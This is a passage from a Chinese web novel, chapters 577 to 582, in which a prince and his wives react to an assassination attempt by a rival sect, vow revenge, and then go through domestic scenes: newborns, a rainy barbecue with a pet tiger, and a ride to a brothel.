步入厅内,她目光扫过,对着坐在主位的林臻,只是微微屈膝行了一礼,声音冷得如同冰珠碰撞:“参见世子。” 林臻心下一凛,从璃月身上感受到一股凝重肃杀的气息,眼神瞬间变得锐利起来:“璃月没,可是青霞让你去做了什么事?” 璃月直起身,目光坦然,没有任何隐瞒:“是。宗主命我去审问那个活口。” 她的声音冰冷而简洁,每一个字都带着铁血的味道。 此话一出,屋内的气氛骤然紧绷。 连晴雯都下意识地抱紧了怀里因突然安静而有些好奇地张望的小承煜。婉儿和浣碧也坐直了身体。 林臻身体前倾,双手紧紧抓住椅子扶手,沉声问道:“结果如何?!吐出来没有?!” 璃月的声音依旧毫无波澜,却清晰地吐出冰冷的事实:“经酷刑审问,那刺客熬刑不过,最终招认。其出身是煊赫门天狼堂。此行受其门主,韩天星之令潜入王府,目标刺杀晴雯夫人,以及承煜少爷,取其心脏为信物复命。” 最后几个字,带着浸透骨髓的寒意。 “什么?!” “煊赫门?!韩天星!!” “他……他怎么敢?!” 第578章 亲手屠灭他们满门 惊呼声、愤怒声瞬间在屋中响起。 晴雯脸色煞白,抱紧了懵懂不知的孩子,满眼都是后怕的惊怒。 “哐当!” 一声巨响! 林臻猛地站起身,双目赤红,狂暴的戾气如同实质般爆发! 盛怒之下,他一拳狠狠砸在旁边的花梨木茶几上! 茶几应声而裂!茶水瓷片溅了一地! 他胸口剧烈起伏,如同暴怒的雄狮,从齿缝里挤出嘶吼,每一个字都喷着火:“妈的!又是煊赫门!好!好一个韩天星!好大的狗胆!老子这次不把你煊赫门连皮带骨碾成齑粉!老子就不姓林!杀!给我杀!一个不留!!” 他愤怒的咆哮响彻屋内,巨大的杀意让温度都骤降几分。 “夫君息怒!”上官婉儿急忙起身,快步走到林臻身边,紧紧抓住他因盛怒而颤抖的手臂,声音急促而冷静。 “夫君切莫被怒火冲昏了头!那刺客虽招供,但酷刑之下所言是否全真?是否故意供出煊赫门,意图栽赃陷害,转移视线?万一是他人设的局,夫君岂不是中了离间之计,反为他人火中取栗?!需……需得详查清楚再……” “查?!查个屁!”林臻猛地甩开婉儿的手,一双被血色染红的眼睛死死瞪着她,那股毁天灭地的杀气几乎要凝成实质。 “管他是真是假!煊赫门!哈德门!老子之前心慈手软,想着让你们狗咬狗!想着维持这京畿江湖狗屁倒灶的平衡!结果呢?!你们把爪子都伸到老子家里来了!敢动我的女人!敢动我儿子?!那就一个都别想好过!不管是谁!煊赫门必须死绝!哈德门也别想活着过年!!” 就在这暴烈的杀气几乎要冲破房顶的瞬间—— “夫君!说得好!!” 一道清冷、决绝、带着刻骨恨意的声音从内室方向传来,如同冰海冻裂! 众人霍然转头! 只见青霞已然换好一身束腰劲装黑衣,衬得她脸色越发苍白如雪,只有一双眼睛亮得惊人,燃烧着复仇的火焰! 她乌黑的长发尚未完全擦干,还在滴着水珠,几缕贴在额角颊边,更添几分浴血后的冷厉! 她步履稳健,带着一股刚洗练过的锐气,大步走到林臻身侧,与璃月并肩而立,那黑衣勾勒出的身形如出鞘利剑! 她的目光如同淬了毒的冰刃,死死钉在璃月脸上,每一个字都像是从九幽寒狱中迸射出来,带着不容置疑的威严:“璃月!听令!” 璃月仙子瞬间单膝跪地:“请宗主示下!” 青霞的声音斩钉截铁,充满了毁灭一切的杀伐意志:“立刻传令!动用所有天道人手!撒网打探!京畿内外!河北河南!给我把煊赫门、哈德门所有的窝点、堂口、秘藏据点,像篦子一样统统给我筛出来!一个老鼠洞都不许放过!” 她微微停顿,眼中寒光爆射: “找到之后……” “不许擅动!” “更不许打草惊蛇!” “给本宗主盯死了!” 她豁然转头,那双燃烧着复仇火焰的眼睛,越过林臻,仿佛穿透了时空,看到了那两个门派的覆灭! 每一个字都咬碎般迸出: “等本宗主亲自动手!!” “我要亲手屠灭他们满门!鸡犬不留!” “对!” 林臻猛地站起,高大的身躯带着一股决断的威势! 他目光灼灼地看向身旁黑衣猎猎、杀气盈身的青霞,斩钉截铁地说道:“青霞!此事我全权交由你负责!煊赫门、哈德门,必须覆灭!由你亲手主导!” 他话锋一转,眼神瞬间变得无比凝重,甚至带着一丝严厉的命令口吻:“但是!你给我听好,听仔细了!” 林臻向前一步,几乎与青霞面对面,声音低沉而有力,不容抗拒: “必须等你坐稳了月子!身体彻底调养恢复,气血充盈,没有任何隐患之后才能动手!我林臻好不容易把你从鬼门关拉回来,亲手替你缝好了伤口,替你夺回了儿子!绝不能再让你在虚弱时以身涉险!这条命,你必须给我护好了!这是死命令!听到没有?!” 这强硬的话语背后,是浓得化不开的关切与不容有失的后怕。 青霞冷艳如霜的容颜上,那刚硬的线条仿佛被投入冰泉的石子,悄然松动了一丝缝隙。 她那双燃烧着复仇烈焰的寒眸中,飞快地掠过一抹被强行压抑住的感动。 她嘴唇微微动了动,似乎想反驳,想说自己早已习惯刀尖舔血,这点月子算不得什么。 但当她抬眼撞入林臻那双盛满了不容置疑、深沉如海又无比焦虑担忧的眼眸时,所有到嘴边的拒绝瞬间消弭。 最终,她那紧抿的唇线微微松弛,几不可闻地泄出一声几如叹息的应诺,顺从地点了点头:“嗯,好。妾身听夫君的。” 这声应答,竟带上了几分少见的柔顺。 话音落下,林臻心中那块大石仿佛落地。 他几乎是本能地张开双臂,一股强大的保护欲驱使着他,猛地将眼前这个一身黑衣、杀意未消却难得流露出脆弱的女子,狠狠地、充满力量地拥入了怀中! 香体陡然入怀。 那属于青霞的独特冷冽幽香,混合着淡淡的药味和方才雨中练剑留下的汗水气息,瞬间将林臻的感官包围。 青霞的身体在他强健有力的臂弯中先是微微一僵。 但仅仅一瞬之后,那紧绷如同绝世利刃的躯体便彻底软了下来。 林臻那宽阔、坚实得如同铜墙铁壁的胸膛,那铁箍般环抱着她腰背的健硕臂膀,带来的是一种她行走江湖数十载、甚至在母亲怀抱中都不曾体验过的,无以伦比的、仿佛隔绝了外界一切风雨雷霆的绝对安全感! 巨大的疲惫、汹涌的后怕、刻骨的恨意以及被强行压制下的行动渴望,所有复杂激烈的情绪,在这坚实温暖的怀抱拥抱下,如同找到了溃堤的缺口。 一股难以言喻的酸涩与暖流猛地冲上鼻尖,她竟不受控制地发出一声极为压抑的嘤咛。 这声音极其轻微,却清晰地钻入了林臻的耳中。 第579章 小机灵鬼 林臻的心尖仿佛被这声嘤咛烫了一下。 他微微侧首,温热的唇瓣几乎贴上了青霞冰凉的、小巧玲珑的耳廓。 灼热的呼吸喷洒在敏感的肌肤上,他用只有两人才能听到的、带着沙哑的柔情低语道:“乖,听话。晚上夫君过来,亲自给你吃点药。这样你能好得快些。” 话语间意有所指,暧昧的情愫在危险与紧张的氛围中悄然滋生。 青霞的耳尖肉眼可见地迅速爬上一抹绯红,一直蔓延到脖颈深处。 她将脸更深地埋进林臻宽厚温暖的肩窝里,轻轻地点了点头,长发蹭着他的颈侧,带来微痒的触感。 过了片刻,她才微微抬起头,水润的眸子带着一丝复杂难明的情绪,看向林臻轮廓分明的侧脸,声音轻得像一片飘落的羽毛:“若是夫君早些来给妾身吃药,或许就不会有这档子事儿发生了。” 语气里带着一丝不易察觉的幽怨。 林臻身体微微一僵,环抱着她的手臂收紧了几分。 他眼中闪过一丝懊悔和深深的歉意,声音带着沉痛:“是为夫的错。我只想着看看不被噬心蛊影响的孩子会是什么样子,唉,委屈你了,让你独自扛了这么久。” 青霞在他怀里轻轻摇了摇头,声音更低、更轻,几如耳语:“不委屈,夫君做的对。其实妾身也不想让儿子变成一个人不人、鬼不鬼的妖孽……” 这“妖孽”二字的声音虽轻如蚊蚋,在安静下来的房间里却非常清晰! 尤其是对怀里正抱着自家那个四个月就牙牙学语、异常活泼好动的小天才的晴雯来说! 只见晴雯猛地抬起头,原本正柔情蜜意看着承煜的小圆脸瞬间变了颜色,柳眉倒竖! 她“腾”地一下从椅子上站起来,怀里的承煜都被她这突如其来的动作带得小脑袋晃了一下,不满地发出“咿呀”声。 晴雯的俏脸含霜,目光如同利箭般射向青霞,声音又急又气,充满了被冒犯的怒意:“喂!你说谁的孩子是妖孽?!你把话说清楚!” 青霞被这声音一扰,情绪瞬间抽离。 她缓缓从林臻温暖坚实的怀抱中脱离出来。 那双刚刚因依赖而显得柔软的眼神,在面对晴雯时,瞬间又恢复了那惯有的冷冽和几分略带戏谑的玩味。 她唇角勾起一个极其轻微的弧度,看向晴雯怀中那个正睁着乌溜溜大眼、好奇地左右张望的小承煜,故意将声音提高几分,带着一丝清冷的揶揄:“自然是谁家娃娃四个月大就能认爹喊娘、说话清楚、还急着长牙,就是谁家的妖孽呗?正常人家的娃儿,有这般机灵的么?嗯?” 那“妖孽”二字被她加重了语气,分明是在调侃。 晴雯被她说得俏脸通红,一时间竟有些语塞。 看看怀里机灵可爱的儿子,再看看青霞那分明带着赞赏的眼神,一口气憋在胸口。 想发火吧,青霞这话听起来又像是在夸自己儿子天赋异禀? 气鼓鼓了半天,她最终只能狠狠地瞪了青霞一眼,抱起承煜用力亲了他小脸一口,再对着青霞重重地“哼”了一声,表示自己的不满,随即气哼哼地坐了回去,不再理会她。 林臻在一旁看得哭笑不得,这两冤家。他赶紧站出来打圆场,拍拍手转移话题:“好了好了!都少说两句。走走走,别光站着了,快进去看看我们的小承树吧!” 他的语气带着轻松和期待,试图缓解屋内的些许火药味。 此言一出,立刻得到了响应。 “对对对!看小承树去!”婉儿微笑着起身。 浣碧也好奇地点点头,露出期待的表情。 就连刚刚还在生闷气的晴雯,也忍不住伸长了脖子。 她倒要看看,这位生母如此“凶悍”的青霞夫人生下的孩子,是不是也跟她一样天赋异禀? 至少,该不会比自家的“妖孽”儿子差吧? 众人纷纷起身,放轻脚步,鱼贯走入温暖的、散发着淡淡奶香的内室。 室内光线柔和。一个小小的、铺着厚厚软垫的藤编摇篮安静地放置在靠窗的位置。 奶娘正微微躬身,轻轻摇晃着摇篮,口中低声哼着摇篮曲。 见到世子携众夫人进来,奶娘立刻停下动作,恭恭敬敬地屈膝行礼,随即在青霞一个微微的眼神示意下,悄无声息地躬身退了出去,将空间留给主人一家。 众人围拢到摇篮边。 摇篮里,一个小小的、比正常新生儿要明显瘦弱一圈的婴孩正酣睡着。 脸蛋小小的,皮肤有些皱巴巴,带着初生儿特有的红晕,但很安详,小嘴微微张着,呼吸均匀而轻微。 比起晴雯怀中那虎头虎脑、精力旺盛的小承煜,这小家伙显得格外弱小,惹人怜惜。 林臻俯下身,目光温柔地看着这个新生的小儿子,心头涌起初为人父的柔软。 他低声问身边的青霞:“小承树吃了几次奶了?睡得倒挺安稳。” 青霞也看着摇篮里的儿子,眼神中的冷冽被无边的母爱柔化:“从昨天出生到现在,统共只喂了两次,每次都吃不多,吸吮一会儿就累得睡着了。” 语气里带着些微的担忧和无奈。 “哦?”晴雯的声音立刻响了起来,带着点小得意和小炫耀,忍不住又把怀里沉甸甸、不老实的承煜往上颠了颠,惹得小家伙咯咯直笑。 “我就说嘛,那怎么可能谁都跟我们家承煜这大胖小子比啊?他那时候可是能吃得很,一顿要吃四个奶娘呢!” 她得意地用空闲的手夸张地比划了一下,“吃完就睡,醒了就笑,可好养活了!” 她看向摇篮中小小的承树,眼神里带着优越感。 青霞毫不客气地翻了个漂亮的白眼,撇了撇嘴,语带讥诮:“呵,你以为谁都跟你养的那头小猪似的?吃了睡睡了吃?小小年纪,那胃口大的,也不怕撑破肚皮!” “你!”晴雯刚被平息下去的怒气又冒了个头。 就在这时,原本安静待在晴雯怀里东张西望的小承煜,不知被什么吸引了注意力。 他的乌溜溜大眼睛滴溜溜转着,最终锁定了站在摇篮边、穿着一身劲装显得英姿飒爽的青霞! 小承煜突然变得异常兴奋,嘴里咿咿呀呀地叫着,两只藕节般的小胖胳膊用力地朝着青霞的方向伸,身体也开始不老实地在晴雯怀里拧动,小嘴里急切地喊着:“呀呀!…姨…抱!姨抱!” 发音虽不清楚,但那亲昵和索抱的意图无比明显! 青霞被他这突如其来的热情弄得一愣。 看着那粉雕玉琢、活力四射的小团子,她冰冷的心湖仿佛被投入一颗温暖的石子,涟漪微动。 嘴角不自觉地弯起一丝几乎难以察觉的弧度,她伸出手,作势要接:“这小机灵鬼,还记得我呢?过来给姨娘抱抱!” 第580章 不愧是我的婉儿 “阿噗!” 话音未落,小承煜就被晴雯松手递到了青霞面前! 可谁知小承煜一被青霞抱住,两只小胖手立刻就朝着青霞那即使穿着束腰劲装也依旧掩不住丰腴弧度的胸口抓去! 小脑袋更是本能地就往那柔软温暖的地方拱! 嘴巴还咂咂有声,做出吸吮的姿态!这小家伙根本分不清男女、亲疏远近,他纯粹是被那熟悉的人类女性气息和柔软的触感吸引了哺乳的本能! “呀——!” 青霞哪里经历过这个?! 平时她这身气势别说小孩子,就是大人都要退避三舍! 此刻被一个小婴儿如此“坦诚”地袭胸索奶,整个人瞬间懵了! 那冷艳俏脸“腾”地一下染满了红霞,一直红到了脖子根,如同雪地上骤然盛开的红梅,羞愤交加! 她手忙脚乱地想推开怀里的小家伙,又怕动作太大伤了他,一时间狼狈不堪! “噗嗤——!”晴雯在一旁看得真切,顿时笑弯了腰,指着青霞通红的脸和怀里还在乱拱的承煜,幸灾乐祸: “哈哈哈!青霞妹妹!我说什么来着!这肯定是你的奶香味勾引到他了!这小子馋奶吃了!这是在报复你刚才说他小猪呢!哈哈哈!” 青霞抱着怀里乱拱的小“狼崽子”,简直不知该怒还是该笑,红着脸对晴雯啐了一口:“呸!可恶的小家伙!才这么大点,就懂得睚眦必报、找女人讨便宜!长大还得了?这性子……跟你娘一个德行!” “你说什么?!”晴雯顿时收起笑容,双手叉腰,像只被踩了尾巴的小母猫,眼看就要发作! “哇——!!!” 就在这鸡飞狗跳、笑声斥责声交织的当口,摇篮里那个原本睡得正香甜、小小的承树,竟被这阵突如其来的喧闹吵醒了! 小家伙显然被吓得不轻,张开小嘴,发出响亮无比、中气十足的震天哭声! 小脸憋得通红! 青霞脸色大变,心疼地立刻将怀里还在张牙舞爪的小承煜塞还给晴雯,动作快得让晴雯差点没接住。 她三步并作两步冲回摇篮边,心疼不已又熟练地将哇哇大哭的儿子小心翼翼抱进怀里,一边柔声轻哄:“哦哦,不哭不哭,承树乖,娘亲在呢,别怕别怕……” 一边毫不犹豫地解开自己劲装领口的盘扣,微微侧过身去,动作迅速而又带着母性本能的呵护,准备给孩子喂奶安慰。 此刻的青霞,脸上哪里还有半分方才面对强敌时的凌厉杀气? 只剩下满腔的温柔似水和无尽的怜爱。 她低垂着眼睫,目光专注地看着怀里哭泣的儿子,如同守护着世间最珍贵的至宝。 眼看着小小的承树在母亲的安抚下哭声渐弱,小嘴开始本能地寻觅时,林臻轻轻咳嗽了一声。 他对着婉儿、晴雯和有些无措的浣碧招了招手,眼神示意她们随自己离开,不要打扰青霞母子这难得的温情时刻。 众人会意,放轻脚步,默默地跟着林臻悄然退了出去。 细雨依旧淅沥,洗净雕梁画栋,为偌大的王府蒙上一层朦胧的水气。 林臻撑着一柄大伞,护着婉儿、晴雯、浣碧三女,晴雯怀里还抱着兴奋得咿咿呀呀、不断挥舞小手的承煜。 四人沿着回廊曲径,缓缓在府中漫步赏雨。 林臻虽是王府世子,但这座累积数代、占地辽阔的王府,他对其中的许多角落也未必都熟稔。 亭台楼榭,假山水泊,移步换景,处处可见匠心。 反倒是进府尚不足半年的上官婉儿,此刻却如数家珍,对每一处景致的典故来历都了如指掌。 “夫君请看那边,”婉儿柔美的声音在雨声中格外清晰,她指着不远处一座嶙峋假山掩映下的一角飞檐小筑,“那便是王府藏书楼的一处别院‘漱玉斋’。前朝大儒柳宗元曾在此处闭门注疏《易经》三月有余,据说其间灵感如泉涌,故得名‘漱玉’。” 她的讲解如溪流潺潺,清晰自然。 众人又行至一方开阔水域,雨水滴落湖面,荡起圈圈涟漪。婉儿指向湖中央一座精巧的石塔:“此塔名为‘镇波’,乃是本朝初建王府时,风水大师卜算地势后所建,意在凝聚王府水脉龙气,保家族根基稳固。塔分七层,暗合北斗之数,每一层窗棂花格纹饰皆不同,是融合了当时北方草原与中原纹样的精华。” 她语气温婉,点明细节,让一砖一瓦都有了来历。 不觉间,一行人已漫步至一座小巧精致的石拱桥上。 桥下淙淙溪流因雨水显得湍急了些许,汇入不远处的小湖。 林臻立在桥中央,雨丝从伞沿滑落。 他侧过身,带着由衷的惊讶与好奇看向身边气质端庄的妻子:“婉儿,你怎么对这府里的一草一木都这么清楚?连它们的由来典故都知道?好些地方,我感觉我这个主人都还没你熟!” 他的目光扫过晴雯和浣碧,显然两人也带着同样的疑问。 婉儿被三人聚焦,面对林臻的疑问,她唇边绽放出一抹温婉沉静的笑意,如同雨中初绽的兰花。 她语气平缓,毫无炫耀之意,只陈述事实:“妾身自从进了王府,便想着既为林家妇,自当尽心竭力。闲暇时便寻些王府的图志典籍,或者向府里的老管事、积年的老嬷嬷们请教。时日稍长,便对这府中各处景致的由来、功用都略知一二了。算不得什么本事,只是用心了些罢了。” “好!不愧是我的婉儿!”林臻眼中满是赞赏与自豪,他伸出未被伞占用的手臂,自然地揽住婉儿盈盈一握的纤腰,“唯有你这样的贤内助,心思细密,心系家宅,才能将这偌大的王府打理得井井有条,成为真正的当家主母!” 他对晴雯和浣碧道,“你们瞧瞧,这才是真正的世家主母风范!家宅安宁,根基才稳。” “啊对对对~婉儿姐姐是主母,我们都是生育工具~”晴雯咧着嘴翻着白眼,阴阳怪气的。 浣碧却点头称是,眼中也流露出对婉儿的敬佩。 受到家宅安宁氛围的感染,林臻心情也轻松不少,望着亭外雨幕,心头涌起一股畅想:“等煊赫门、哈德门这些糟心事了结,尘埃落定,咱们一家人就出去走走!江南烟雨、漠北风沙、东海波涛,去看看咱们大乾的万里江山!如何?” “好呀好呀!”晴雯立刻欢呼雀跃,眼睛亮晶晶的,“带承煜一起去见见世面!” 浣碧也露出向往的笑容,轻轻点头:“嗯,好啊。” 能放下府中烦忧,出去走走,总是件令人期待的事。 然而,婉儿却只是温婉一笑,轻轻摇头,眸色平和如深潭:“夫君与妹妹们同游便好。这府中终究不能离了妾身。再者,妾身已是王府明媒正娶的世子妃,是王府的门面,行事需谨守本分,总不能像未出阁时那般任性,时时外出抛头露面。该守在何处,便守在何处才是正理。” 第581章 围炉烤肉 林臻听她这话,心中又是不舍又是怜惜。 他紧了紧搂着她腰肢的手臂,另一只手轻轻挑起她的下巴,让她的目光与自己对视,语气带着真挚的劝解。 “婉儿,何必把自己困死在这层身份的壳子里?你就是你,是上官婉儿,是林臻的妻子,是自由的灵魂。家宅安定固然重要,可偶尔随心而活,自然而然,才是真自在。这王府院墙再高,也不该是禁锢你的牢笼。” 婉儿迎着他的目光,眼神清澈而坚定,带着一种历经世家严格教养的坚韧。 “妾身明白夫君是一片好意。只是改变总归需要一个循序渐进的过程,非一蹴而就。请夫君体谅。” 感受到她话语中的坚持和那一丝不易察觉的疲倦,林臻心头叹息,知道此刻无法强求,便不再多劝,顺着她的“循序渐进”找了个折中的法子。 “好吧,那今天我们就‘自然而然’地做点开心的事——烤肉!雨天听雨,围炉烤肉,岂不是人间一大快事?” 这提议立刻得到了所有人的响应,连晴雯怀里的小承煜都兴奋地“呀呀”叫唤。 众人很快回到了早上用膳的那个宽敞八角亭。 浣碧立刻展现了她管理内务的利落,指挥丫鬟:“速去厨房取一个烤炉来。再让他们切上等羊腿肉、牛腩肉各一盘,按王府串法用上好青竹签穿好!备几大筐上品银霜木炭。动作要快!”她又补充道,“别忘了带些应季的香菇、青菜解腻。” 指令清晰明确,厨房的人很快便将所需物料一应俱全地送到了亭中。 银霜炭被点燃,置于精铁烤炉中,赤红的火焰舔舐着炭块,很快散发出特有的香气。 羊、牛肉串被架了上去,在炭火烘烤下滋滋作响,油脂滴落炭上腾起细小的青烟,浓郁的肉香混合着木炭特有的焦香,随着雨天的湿气被风送出老远,惹得在附近避雨的丫鬟小厮们都忍不住咽了咽口水。 “哇……哇哇!”小承煜更是激动地在晴雯怀里弹跳,口水直流,伸出肉乎乎的小手就要去够那近在咫尺、冒着热气、油光发亮的肉串,一副饿虎扑食的小模样。 “哎呀我的小祖宗!”晴雯又好气又好笑,赶紧把他伸出的爪子给按了回去,“你现在还小着呢!吃不了这个!太油了!乖乖的,娘给你喝奶啊!” 林臻看着儿子那馋样,再想到他种种“异于常人”的表现,心头一乐,拦住晴雯:“这小子不能以常理度之。试试无妨,未必就不能吃。” 说着,他小心地从一根刚烤好、稍微凉了一点的烤羊肉串上,撕下细细的、软烂不塞牙的一小条嫩肉丝。 在众人的注视下,林臻将这一小条肉丝,小心翼翼地送到小承煜那张嗷嗷待哺的小嘴边。 承煜乌溜溜的大眼睛一亮,毫不犹豫地张嘴,精准地将肉丝含住。 更令人惊奇的是,他非但没有哭闹,反而用力地用小奶牙和牙龈研磨起来!小嘴蠕动着,脸颊一鼓一鼓,竟是真的将肉丝碾碎咽了下去,全程没有半点不适,甚至还意犹未尽地咂咂嘴,眼巴巴看着林臻手里的肉串! “呀!真的吃了!” “哈哈哈!真不愧是咱们家的小天才!” “小馋猫!太厉害了!” 亭中瞬间爆发出惊喜的欢笑声。 小承煜这“吃货”的表现,给雨中的烤肉添了无比的欢乐气氛。 就在众人其乐融融,举着肉串大快朵颐之时—— “吼——!” 一声带着山林野性气息的低沉虎啸,自回廊另一侧传来! 紧接着,一只体型彪悍、几乎有成人小腿高度、皮毛油光水滑、花纹绚丽的斑斓猛虎,甩着尾巴,迈着沉稳有力的步伐,踏着雨水一路奔来! 它硕大的头颅四下嗅探,直奔那香气四溢的烤炉! 正是林臻在王府豢养的爱虎——来福。 来福跑到亭口,雨水打湿了它的皮毛。 它先用那颗巨大的虎头,极其温顺地在林臻腿上亲昵地蹭了蹭,喉咙里发出满足的呼噜声,然后蹲坐在旁边,眼巴巴地望着烤炉上热气腾腾的烤肉流口水。 虎视眈眈,却毫无攻击之意。 晴雯、浣碧和婉儿早已见惯这只如同大猫般陪伴在世子身边的老虎,丝毫不惧。 晴雯更是熟练地将签子上几块烤好的、没加料的瘦肉用筷子撸下来,大大方方地丢给来福:“来福,来,多吃点!别客气!你大哥有的是银子,管饱!” 来福张开血盆大口,稳稳地接住肉块,满意地咀嚼起来。 林臻看着这一幕,淡然一笑,继续低头吃肉。 小承煜看到这威猛又通人性的“大猫”,再次兴奋起来。 他张开手,对着来福的方向喊着含糊不清的“虎…抱抱!” 晴雯担心,连忙护住孩子:“乖,大老虎不能抱,伤到你。” 林臻倒是不担心,他拍拍自己结实的大腿内侧,对来福招了招手:“来福,过来坐。” 来福显然听懂了主人的意思,它叼着口中最后一块肉,轻盈地跳到林臻脚边的位置,顺从地趴下身子,将那庞大却异常温顺的虎头搁在了林臻的大腿上。 它知道小主人对它有兴趣。 林臻见状,直接将怀里扭来扭去要抱老虎的承煜往前一递,就放在了来福那毛茸茸、宽阔无比的头顶上! 小小的婴孩坐在硕大的虎头上,比例形成了奇妙的和谐与反差。 承煜立刻被这新奇体验吸引了,小手紧紧抓住来福头顶柔顺的毛发,发出咯咯咯的脆亮笑声,开心得小脚乱蹬。 来福则一副极其温和受用的模样,眯起虎目,享受着小主人的“抚顶”,伸出粉红的大舌头舔了舔鼻子,喉咙里的呼噜声更响了,仿佛在哄着小主人玩。 一人一虎,画面竟是异样的温馨有趣,引得众人更是欢笑不断。 酒足肉饱,细雨也渐渐停歇,只余屋檐滴水声。 浣碧扶着腰,脸上倦容更深,柔声道:“夫君,妾身实在有些乏了,想先回去歇息会儿。” 林臻点头:“去吧,好好休息。” 浣碧正要谢过转身—— “呕——!” 一阵强烈的恶心感毫无预兆地翻涌上来! 她猛地弯腰扶住旁边的亭柱,干呕了几下,却吐不出什么东西,只是脸色瞬间变得煞白。 林臻立刻紧张上前,扶住她单薄的肩膀,声音带着关切和一丝不易察觉的希冀:“碧儿?你该不会真的怀上了吧?这是有了?” 前几日府里连添两丁,加上她有乏力的症状,让人不得不往这方面想。 浣碧扶着亭柱,缓了好一会儿才直起身,秀眉微蹙,虚弱地摇了摇头,从袖中抽出丝帕擦拭嘴角,声音轻飘无力。 “夫君莫要猜测了,前些日子妾身也觉不适,特请孙神医看过了,脉象并非喜脉。孙神医说许是脾虚肝郁,气血不足所致,给开了几副健脾祛湿、宁神静心的药,正吃着呢。许是今日下雨,天又闷热,有些不爽利罢了。没什么大事的,休息会儿就好。” 听闻“并非喜脉”,林臻心中那点微妙的期盼落空,但更多的还是对浣碧身体的担忧。 然而看她自己似乎并不十分在意,强调着“没什么大事”,他也不好再深究。 “好吧,那你务必按时吃药,好生歇养。”林臻不放心地叮嘱道,随即招手唤来两个伶俐的丫鬟,“仔细送浣碧夫人回房休息,路上慢着点。” 两个丫鬟连忙应声,一左一右小心地搀扶着疲惫无力的浣碧,缓缓离去。 亭中只余下肉香、炭火余温、看护承煜的晴雯、若有所思的林臻,以及依旧静静坐在他脚边充当承煜“坐骑”的打盹虎——来福。 雨后的空气格外清新,却也似乎带着一丝难以言喻的疑虑。 第582章 琼玉阁 连绵数日的春雨终于收歇,久违的阳光刺破云层,带着温煦的金色洒满湿漉漉的王府。 空气里弥漫着泥土与草木的清新气息。 林臻站在滴水檐下,长长吸了一口久违的、干燥温暖的空气。 连续数日困守府内,围绕着有恙的婉儿、产后虚弱的青霞、怀有身孕需要安抚的月妩和状态不佳的顾缜转,虽然享受着天伦之乐,却也隐隐感到一丝被温柔困囿的憋闷。 今日天朗气清,正是出门透气的良机。 他稍作整束,便唤来侯春:“侯春,备马,点几个得力人手。随我出去一趟。” 侯春领命,很快,连林臻在内,一行五六人,轻装简从,策马出了王府侧门。 踏出朱漆大门的那一刻,阳光毫无遮拦地倾泻下来,林臻感觉连呼吸都畅快了几分。 城中街道尚存雨水痕迹,马蹄踩在湿润的石板上发出清脆的“嗒嗒”声。 沿街商铺纷纷重新开张,行人明显多了起来,久雨初晴的京城透着焕然一新的活力。 行至较为宽阔的长安街,两旁的行人车辆都稀疏了些。林臻勒了下马缰,让胯下的骏马稍缓步伐,与旁边并行的侯春更近了些。 “猴子,”林臻目视前方,闲聊般开口,打破了马蹄声的单调节奏,“上次替你物色的那户人家的小姐,婚事进展如何了?” 侯春原本严肃的脸庞顿时显露出一丝局促和腼腆,硬朗的线条似乎也柔和了不少。 他低头回道:“回禀世子,谢世子挂念。卑职这段时间正在加紧准备各项事宜。依照规矩,已托了可靠的媒婆上门提亲、合了八字。对方府上尚未明确拒绝。” 他顿了顿,补充道,“待媒婆从中周旋,确定了初步意向,卑职便会亲自登门下聘,再然后,便是定下正式迎娶的吉日了。” 林臻满意地点点头:“嗯,甚好。终身大事,当该如此郑重。” 他话锋一转,语气带着不容置疑的安排:“既是成家,便该有个安身立命之所,不能再随波逐流了。你这么长时间护卫我,出生入死,劳苦功高。你成亲的宅子,便由我出钱,在城里寻个地段安稳、大小合宜的宅院予你。成亲后……” 林臻顿了顿,目光锐利地看向侯春:“你便不必再留在护卫营,每日当值护卫我了。” 侯春猛地抬头,眼中闪过一丝愕然和抗拒:“世子?!” 林臻没等他多言,继续说道:“王府直属的兵马司里,恰好缺一个管事的副指挥。以你的身手、资历和对王府的忠心,担此职责绰绰有余。比做我这无品无阶的随身护卫强得多,既安稳又能养家糊口,前途更佳。”这是他为心腹爱将规划的未来坦途。 然而,侯春脸上非但没有喜色,反而急切地拨马更靠近林臻一点,语气带着恳求和固执的忠诚:“世子!卑职……卑职不愿去兵马司!卑职就想跟在您身边,给您当护卫!” 他浓眉紧蹙,“只要世子不嫌卑职粗鄙,卑职愿意一辈子给您牵马坠蹬!” “胡闹!”林臻轻斥一声,声音不大却透着严厉,“马上就要成家立业的人!还想着天天睡在护卫营那大通铺里?天天跟着我风里来雨里去,刀口舔血没个准点?这成什么样子?!哪家的妻子愿意嫁个永无着落的丈夫?” 侯春急了,黝黑的脸上因为激动泛起红晕,立刻争辩道:“卑职可以不当值就回家!绝不睡大营!白天当值跟着世子,晚上就回去陪新妇!绝对两不耽误!” 他试图寻找一个两全的办法。 林臻缓缓摇头,语重心长又带着不容商量的决断:“不行。跟在我身边终究不是长久之计。护卫的职责说到底就是护我安全,冲锋在前。你现在身份不同了,身后有家了,岂能再这般冒险?况且,你一身本事,也当有更广阔的天地施展!让你去兵马司担职,不是贬黜,是给你建功立业的机会!是让你真正成为一个有身份、能扛事的人,而非一个护卫头子!” 他目光深邃地看着侯春:“这些年,历练也该够了。做王府的护卫营副指挥使,还不够历练么?让你去兵马司任副职,绝不是屈就!那位置,多少人求都求不来!侯春,你也长大了,得学会往前走!” 侯春沉默了。 他明白林臻是为他好,为他铺一条更安稳敞亮的道路。 世子的话句句在理。 可那股发自肺腑的忠诚和对长久形成的护卫身份的依赖,让他内心挣扎无比。 他习惯也喜欢守护在这位世子身边的感觉,那种刀光剑影间的托付与信任,是无上的荣耀。 但要他离开……他攥紧了缰绳,手指骨节微微泛白。 林臻没再逼他,知道他需要时间消化。 此事按下不表,一行人继续前行。 穿街过巷,最终在城西一处颇为清雅低调、门庭若市的新建楼阁前停下。 牌匾高悬“琼玉阁”,正是京城近来最炙手可热的新开青楼,也是张俪新开的产业。 这里姑娘清丽雅致,吸引了无数文人墨客、权贵富商。 林臻抬头望了一眼,翻身下马。早有伶俐的小厮跑过来牵马,笑容可掬。 林臻对侯春等人道:“你们在外候着,或者自己进去找乐子也可,账记在我名下。侯春,”他特意看向依旧眉头紧锁的侯春,“你随我进去。” 说罢,林臻径直走向楼内。 一楼大厅装饰雅致,琴瑟声声,人影绰绰。 林臻无心赏玩厅内莺莺燕燕,目光在大堂角落那些品茶、下棋、听曲的身影中逡巡,寻找目标。 果然,在靠近一扇雕花月洞门的位置,一个穿着骚包锦缎袈裟、脑门锃亮、满脸红光的老和尚,正大马金刀地坐在软榻上。 